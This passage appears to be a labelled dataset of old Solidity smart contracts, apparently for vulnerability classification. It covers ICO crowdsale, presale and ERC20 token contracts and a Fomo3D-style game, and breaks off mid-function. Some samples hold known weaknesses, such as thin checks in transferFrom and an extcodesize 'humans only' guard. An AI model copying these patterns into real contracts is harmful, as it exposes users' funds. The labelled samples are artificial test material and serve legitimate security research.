|| currentState == State.PREICO && _newState == State.PREICO_FINISHED
|| currentState == State.PREICO_FINISHED && _newState == State.ICO_FIRST
|| currentState == State.ICO_FIRST && _newState == State.STOPPED
|| currentState == State.STOPPED && _newState == State.ICO_SECOND
|| currentState == State.ICO_SECOND && _newState == State.STOPPED
|| currentState == State.STOPPED && _newState == State.ICO_THIRD
|| currentState == State.ICO_THIRD && _newState == State.CLOSED
|| _newState == State.EMERGENCY_STOP
);
currentState = _newState;
if(_newState == State.PREICO
|| _newState == State.ICO_FIRST
|| _newState == State.ICO_SECOND
|| _newState == State.ICO_THIRD){
currentRoundSupply = 0;
}
if(_newState == State.CLOSED){
_finish();
}
}
function setStateWithBonus(State _newState, uint _bonus)
public
only(owner)
{
require(
currentState == State.INIT && _newState == State.PRESALE
|| currentState == State.PRESALE && _newState == State.PREICO
|| currentState == State.PREICO && _newState == State.PREICO_FINISHED
|| currentState == State.PREICO_FINISHED && _newState == State.ICO_FIRST
|| currentState == State.ICO_FIRST && _newState == State.STOPPED
|| currentState == State.STOPPED && _newState == State.ICO_SECOND
|| currentState == State.ICO_SECOND && _newState == State.STOPPED
|| currentState == State.STOPPED && _newState == State.ICO_THIRD
|| currentState == State.ICO_THIRD && _newState == State.CLOSED
|| _newState == State.EMERGENCY_STOP
);
currentState = _newState;
bonus = _bonus;
if(_newState == State.CLOSED){
_finish();
}
}
function mintPresale(address _to, uint _amount)
public
only(owner)
inState(State.PRESALE)
{
require(totalSaleSupply.add(_amount) <= MAX_SALE_SUPPLY);
totalSaleSupply = totalSaleSupply.add(_amount);
_mint(_to, _amount);
}
function ()
public
payable
salesRunning
minAmount
{
_receiveFunds();
}
function _receiveFunds()
internal
{
require(msg.value != 0);
uint transferTokens = msg.value.mul(DECIMALS).div(currentPrice);
require(totalSaleSupply.add(transferTokens) <= MAX_SALE_SUPPLY);
uint bonusTokens = transferTokens.mul(bonus).div(bonusBase);
transferTokens = transferTokens.add(bonusTokens);
_checkMaxRoundSupply(transferTokens);
totalSaleSupply = totalSaleSupply.add(transferTokens);
balances[msg.sender] = balances[msg.sender].add(msg.value);
totalFunds = totalFunds.add(msg.value);
_mint(msg.sender, transferTokens);
beneficiary.transfer(msg.value);
Transfer(msg.sender, transferTokens);
}
function _mint(address _to, uint _amount)
noAnyReentrancy
internal
{
token.mint(_to, _amount);
}
function _checkMaxRoundSupply(uint _amountTokens)
internal
{
if (currentState == State.PREICO) {
require(currentRoundSupply.add(_amountTokens) <= maxPreICOSupply);
} else if (currentState == State.ICO_FIRST) {
require(currentRoundSupply.add(_amountTokens) <= maxICOFirstSupply);
} else if (currentState == State.ICO_SECOND) {
require(currentRoundSupply.add(_amountTokens) <= maxICOSecondSupply);
} else if (currentState == State.ICO_THIRD) {
require(currentRoundSupply.add(_amountTokens) <= maxICOThirdSupply);
}
}
function burn(uint256 _amount, address _address) only(owner) {
require(token.burn(_amount, _address));
totalSaleSupply = totalSaleSupply.sub(_amount);
}
function _finish()
noAnyReentrancy
internal
{
token.start();
}
} | 1 | 3,818 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StopTheFakesPromo is StandardToken {
string public constant Token_Description = "StopTheFakes.io: 5% BONUS. This token allows its holder to receive an additional bonus of 5% during the main token sale. More information in our telegram group.";
string public constant name = "StopTheFakes Promo";
string public constant symbol = "STFPR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3000000 ether;
function StopTheFakesPromo() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 4,398 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public onlyOwner {
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlySaleAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AgroTechFarmToken is MintableToken {
string public constant name = "Agro Tech Farm";
string public constant symbol = "ATF";
uint32 public constant decimals = 18;
}
contract preSale2 is Ownable {
using SafeMath for uint;
AgroTechFarmToken public token;
bool public preSale2Finished = false;
address public multisig;
uint public rate;
uint public tokenCap;
uint public start;
uint public period;
uint public hardcap;
address public restricted;
uint public restrictedPercent;
function preSale2() public {
token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff);
multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127;
rate = 83333333333000000000;
tokenCap = 60000000000000000000000;
start = 1519430400;
period = 14;
hardcap = 500000000000000000000;
restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6;
restrictedPercent = 35;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function balancePreSale2() public constant returns (uint) {
return this.balance;
}
function finishPreSale2() public onlyOwner returns (bool) {
if(now > start + period * 1 days || this.balance >= hardcap) {
multisig.transfer(this.balance);
preSale2Finished = true;
return true;
} else return false;
}
function createTokens() public isUnderHardCap saleIsOn payable {
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = tokens.mul(40).div(100);
tokens += bonusTokens;
token.mint(msg.sender, tokens);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.mint(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 0 | 1,196 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Claimable is Ownable {
address public pendingOwner;
event OwnershipTransferPending(address indexed owner, address indexed pendingOwner);
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferPending(owner, pendingOwner);
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Claimable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Administratable is Claimable {
struct MintStruct {
uint256 mintedTotal;
uint256 lastMintTimestamp;
}
struct BurnStruct {
uint256 burntTotal;
uint256 lastBurnTimestamp;
}
mapping(address => bool) public admins;
mapping(address => MintStruct) public mintLimiter;
mapping(address => BurnStruct) public burnLimiter;
event AdminAddressAdded(address indexed addr);
event AdminAddressRemoved(address indexed addr);
modifier onlyAdmin() {
require(admins[msg.sender] || msg.sender == owner);
_;
}
function addAddressToAdmin(address addr) onlyOwner public returns(bool success) {
if (!admins[addr]) {
admins[addr] = true;
mintLimiter[addr] = MintStruct(0, 0);
burnLimiter[addr] = BurnStruct(0, 0);
emit AdminAddressAdded(addr);
success = true;
}
}
function removeAddressFromAdmin(address addr) onlyOwner public returns(bool success) {
if (admins[addr]) {
admins[addr] = false;
delete mintLimiter[addr];
delete burnLimiter[addr];
emit AdminAddressRemoved(addr);
success = true;
}
}
}
contract Callable is Claimable {
mapping(address => bool) public callers;
event CallerAddressAdded(address indexed addr);
event CallerAddressRemoved(address indexed addr);
modifier onlyCaller() {
require(callers[msg.sender]);
_;
}
function addAddressToCaller(address addr) onlyOwner public returns(bool success) {
if (!callers[addr]) {
callers[addr] = true;
emit CallerAddressAdded(addr);
success = true;
}
}
function removeAddressFromCaller(address addr) onlyOwner public returns(bool success) {
if (callers[addr]) {
callers[addr] = false;
emit CallerAddressRemoved(addr);
success = true;
}
}
}
contract Blacklist is Callable {
mapping(address => bool) public blacklist;
function addAddressToBlacklist(address addr) onlyCaller public returns (bool success) {
if (!blacklist[addr]) {
blacklist[addr] = true;
success = true;
}
}
function removeAddressFromBlacklist(address addr) onlyCaller public returns (bool success) {
if (blacklist[addr]) {
blacklist[addr] = false;
success = true;
}
}
}
contract Allowance is Callable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function addAllowance(address _holder, address _spender, uint256 _value) onlyCaller public {
allowanceOf[_holder][_spender] = allowanceOf[_holder][_spender].add(_value);
}
function subAllowance(address _holder, address _spender, uint256 _value) onlyCaller public {
uint256 oldValue = allowanceOf[_holder][_spender];
if (_value > oldValue) {
allowanceOf[_holder][_spender] = 0;
} else {
allowanceOf[_holder][_spender] = oldValue.sub(_value);
}
}
function setAllowance(address _holder, address _spender, uint256 _value) onlyCaller public {
allowanceOf[_holder][_spender] = _value;
}
}
contract Balance is Callable {
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
uint256 public totalSupply;
function addBalance(address _addr, uint256 _value) onlyCaller public {
balanceOf[_addr] = balanceOf[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) onlyCaller public {
balanceOf[_addr] = balanceOf[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) onlyCaller public {
balanceOf[_addr] = _value;
}
function addTotalSupply(uint256 _value) onlyCaller public {
totalSupply = totalSupply.add(_value);
}
function subTotalSupply(uint256 _value) onlyCaller public {
totalSupply = totalSupply.sub(_value);
}
}
contract Blacklistable {
Blacklist internal _blacklist;
constructor(
Blacklist _blacklistContract
) public {
_blacklist = _blacklistContract;
}
modifier onlyNotBlacklistedAddr(address addr) {
require(!_blacklist.blacklist(addr));
_;
}
modifier onlyNotBlacklistedAddrs(address[] addrs) {
for (uint256 i = 0; i < addrs.length; i++) {
require(!_blacklist.blacklist(addrs[i]));
}
_;
}
function blacklist(address addr) public view returns (bool) {
return _blacklist.blacklist(addr);
}
}
contract ControllerTest is Pausable, Administratable, Blacklistable {
using SafeMath for uint256;
Balance internal _balances;
uint256 constant decimals = 18;
uint256 constant maxBLBatch = 100;
uint256 public dailyMintLimit = 10000 * 10 ** decimals;
uint256 public dailyBurnLimit = 10000 * 10 ** decimals;
uint256 constant dayInSeconds = 86400;
constructor(
Balance _balanceContract, Blacklist _blacklistContract
) Blacklistable(_blacklistContract) public {
_balances = _balanceContract;
}
event Burn(address indexed from, uint256 value);
event Mint(address indexed to, uint256 value);
event LimitMint(address indexed admin, address indexed to, uint256 value);
event LimitBurn(address indexed admin, address indexed from, uint256 value);
event BlacklistedAddressAdded(address indexed addr);
event BlacklistedAddressRemoved(address indexed addr);
function _addToBlacklist(address addr) internal returns (bool success) {
success = _blacklist.addAddressToBlacklist(addr);
if (success) {
emit BlacklistedAddressAdded(addr);
}
}
function _removeFromBlacklist(address addr) internal returns (bool success) {
success = _blacklist.removeAddressFromBlacklist(addr);
if (success) {
emit BlacklistedAddressRemoved(addr);
}
}
function addAddressToBlacklist(address addr) onlyAdmin whenNotPaused public returns (bool) {
return _addToBlacklist(addr);
}
function addAddressesToBlacklist(address[] addrs) onlyAdmin whenNotPaused public returns (bool success) {
uint256 cnt = uint256(addrs.length);
require(cnt <= maxBLBatch);
success = true;
for (uint256 i = 0; i < addrs.length; i++) {
if (!_addToBlacklist(addrs[i])) {
success = false;
}
}
}
function removeAddressFromBlacklist(address addr) onlyAdmin whenNotPaused public returns (bool) {
return _removeFromBlacklist(addr);
}
function removeAddressesFromBlacklist(address[] addrs) onlyAdmin whenNotPaused public returns (bool success) {
success = true;
for (uint256 i = 0; i < addrs.length; i++) {
if (!_removeFromBlacklist(addrs[i])) {
success = false;
}
}
}
function burnFrom(address _from, uint256 _amount) onlyOwner whenNotPaused
public returns (bool success) {
require(_balances.balanceOf(_from) >= _amount);
_balances.subBalance(_from, _amount);
_balances.subTotalSupply(_amount);
emit Burn(_from, _amount);
return true;
}
function limitBurnFrom(address _from, uint256 _amount) onlyAdmin whenNotPaused
public returns (bool success) {
require(_balances.balanceOf(_from) >= _amount && _amount <= dailyBurnLimit);
if (burnLimiter[msg.sender].lastBurnTimestamp.div(dayInSeconds) != now.div(dayInSeconds)) {
burnLimiter[msg.sender].burntTotal = 0;
}
require(burnLimiter[msg.sender].burntTotal.add(_amount) <= dailyBurnLimit);
_balances.subBalance(_from, _amount);
_balances.subTotalSupply(_amount);
burnLimiter[msg.sender].lastBurnTimestamp = now;
burnLimiter[msg.sender].burntTotal = burnLimiter[msg.sender].burntTotal.add(_amount);
emit LimitBurn(msg.sender, _from, _amount);
emit Burn(_from, _amount);
return true;
}
function limitMint(address _to, uint256 _amount)
onlyAdmin whenNotPaused onlyNotBlacklistedAddr(_to)
public returns (bool success) {
require(_to != msg.sender);
require(_amount <= dailyMintLimit);
if (mintLimiter[msg.sender].lastMintTimestamp.div(dayInSeconds) != now.div(dayInSeconds)) {
mintLimiter[msg.sender].mintedTotal = 0;
}
require(mintLimiter[msg.sender].mintedTotal.add(_amount) <= dailyMintLimit);
_balances.addBalance(_to, _amount);
_balances.addTotalSupply(_amount);
mintLimiter[msg.sender].lastMintTimestamp = now;
mintLimiter[msg.sender].mintedTotal = mintLimiter[msg.sender].mintedTotal.add(_amount);
emit LimitMint(msg.sender, _to, _amount);
emit Mint(_to, _amount);
return true;
}
function setDailyMintLimit(uint256 _limit) onlyOwner public returns (bool) {
dailyMintLimit = _limit;
return true;
}
function setDailyBurnLimit(uint256 _limit) onlyOwner public returns (bool) {
dailyBurnLimit = _limit;
return true;
}
function mint(address _to, uint256 _amount)
onlyOwner whenNotPaused onlyNotBlacklistedAddr(_to)
public returns (bool success) {
_balances.addBalance(_to, _amount);
_balances.addTotalSupply(_amount);
emit Mint(_to, _amount);
return true;
}
}
contract ContractInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner) public view returns (uint256);
function allowance(address tokenOwner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function batchTransfer(address[] to, uint256 value) public returns (bool);
function increaseApproval(address spender, uint256 value) public returns (bool);
function decreaseApproval(address spender, uint256 value) public returns (bool);
function burn(uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint256 value);
event Burn(address indexed from, uint256 value);
}
contract V_test is ContractInterface, Pausable, Blacklistable {
using SafeMath for uint256;
uint8 public constant decimals = 18;
uint256 constant maxBatch = 100;
string public name;
string public symbol;
Balance internal _balances;
Allowance internal _allowance;
constructor(string _tokenName, string _tokenSymbol,
Balance _balanceContract, Allowance _allowanceContract,
Blacklist _blacklistContract
) Blacklistable(_blacklistContract) public {
name = _tokenName;
symbol = _tokenSymbol;
_balances = _balanceContract;
_allowance = _allowanceContract;
}
function totalSupply() public view returns (uint256) {
return _balances.totalSupply();
}
function balanceOf(address _addr) public view returns (uint256) {
return _balances.balanceOf(_addr);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return _allowance.allowanceOf(_owner, _spender);
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_value > 0);
require(_to != 0x0);
require(_balances.balanceOf(_from) >= _value);
uint256 previousBalances = _balances.balanceOf(_from).add(_balances.balanceOf(_to));
_balances.subBalance(_from, _value);
_balances.addBalance(_to, _value);
emit Transfer(_from, _to, _value);
assert(_balances.balanceOf(_from) + _balances.balanceOf(_to) == previousBalances);
}
function transfer(address _to, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_to)
public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function batchTransfer(address[] _to, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddrs(_to)
public returns (bool) {
uint256 cnt = uint256(_to.length);
require(cnt > 0 && cnt <= maxBatch && _value > 0);
uint256 amount = _value.mul(cnt);
require(_balances.balanceOf(msg.sender) >= amount);
for (uint256 i = 0; i < cnt; i++) {
_transfer(msg.sender, _to[i], _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(_from) onlyNotBlacklistedAddr(_to)
public returns (bool) {
require(_allowance.allowanceOf(_from, msg.sender) >= _value);
_allowance.subAllowance(_from, msg.sender, _value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_spender)
public returns (bool) {
_allowance.setAllowance(msg.sender, _spender, _value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_spender)
public returns (bool) {
_allowance.addAllowance(msg.sender, _spender, _addedValue);
emit Approval(msg.sender, _spender, _allowance.allowanceOf(msg.sender, _spender));
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
whenNotPaused onlyNotBlacklistedAddr(msg.sender) onlyNotBlacklistedAddr(_spender)
public returns (bool) {
_allowance.subAllowance(msg.sender, _spender, _subtractedValue);
emit Approval(msg.sender, _spender, _allowance.allowanceOf(msg.sender, _spender));
return true;
}
function burn(uint256 _value) whenNotPaused onlyNotBlacklistedAddr(msg.sender)
public returns (bool success) {
require(_balances.balanceOf(msg.sender) >= _value);
_balances.subBalance(msg.sender, _value);
_balances.subTotalSupply(_value);
emit Burn(msg.sender, _value);
return true;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
} | 0 | 855 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FOMOQuick is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x6716d92DebBF8f09475f6Be3C20DffF8970CB6aE);
address private admin = msg.sender;
string constant public name = "FOMO Extra Short";
string constant public symbol = "XShort";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 20 minutes;
uint256 constant private rndInc_ = 8 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
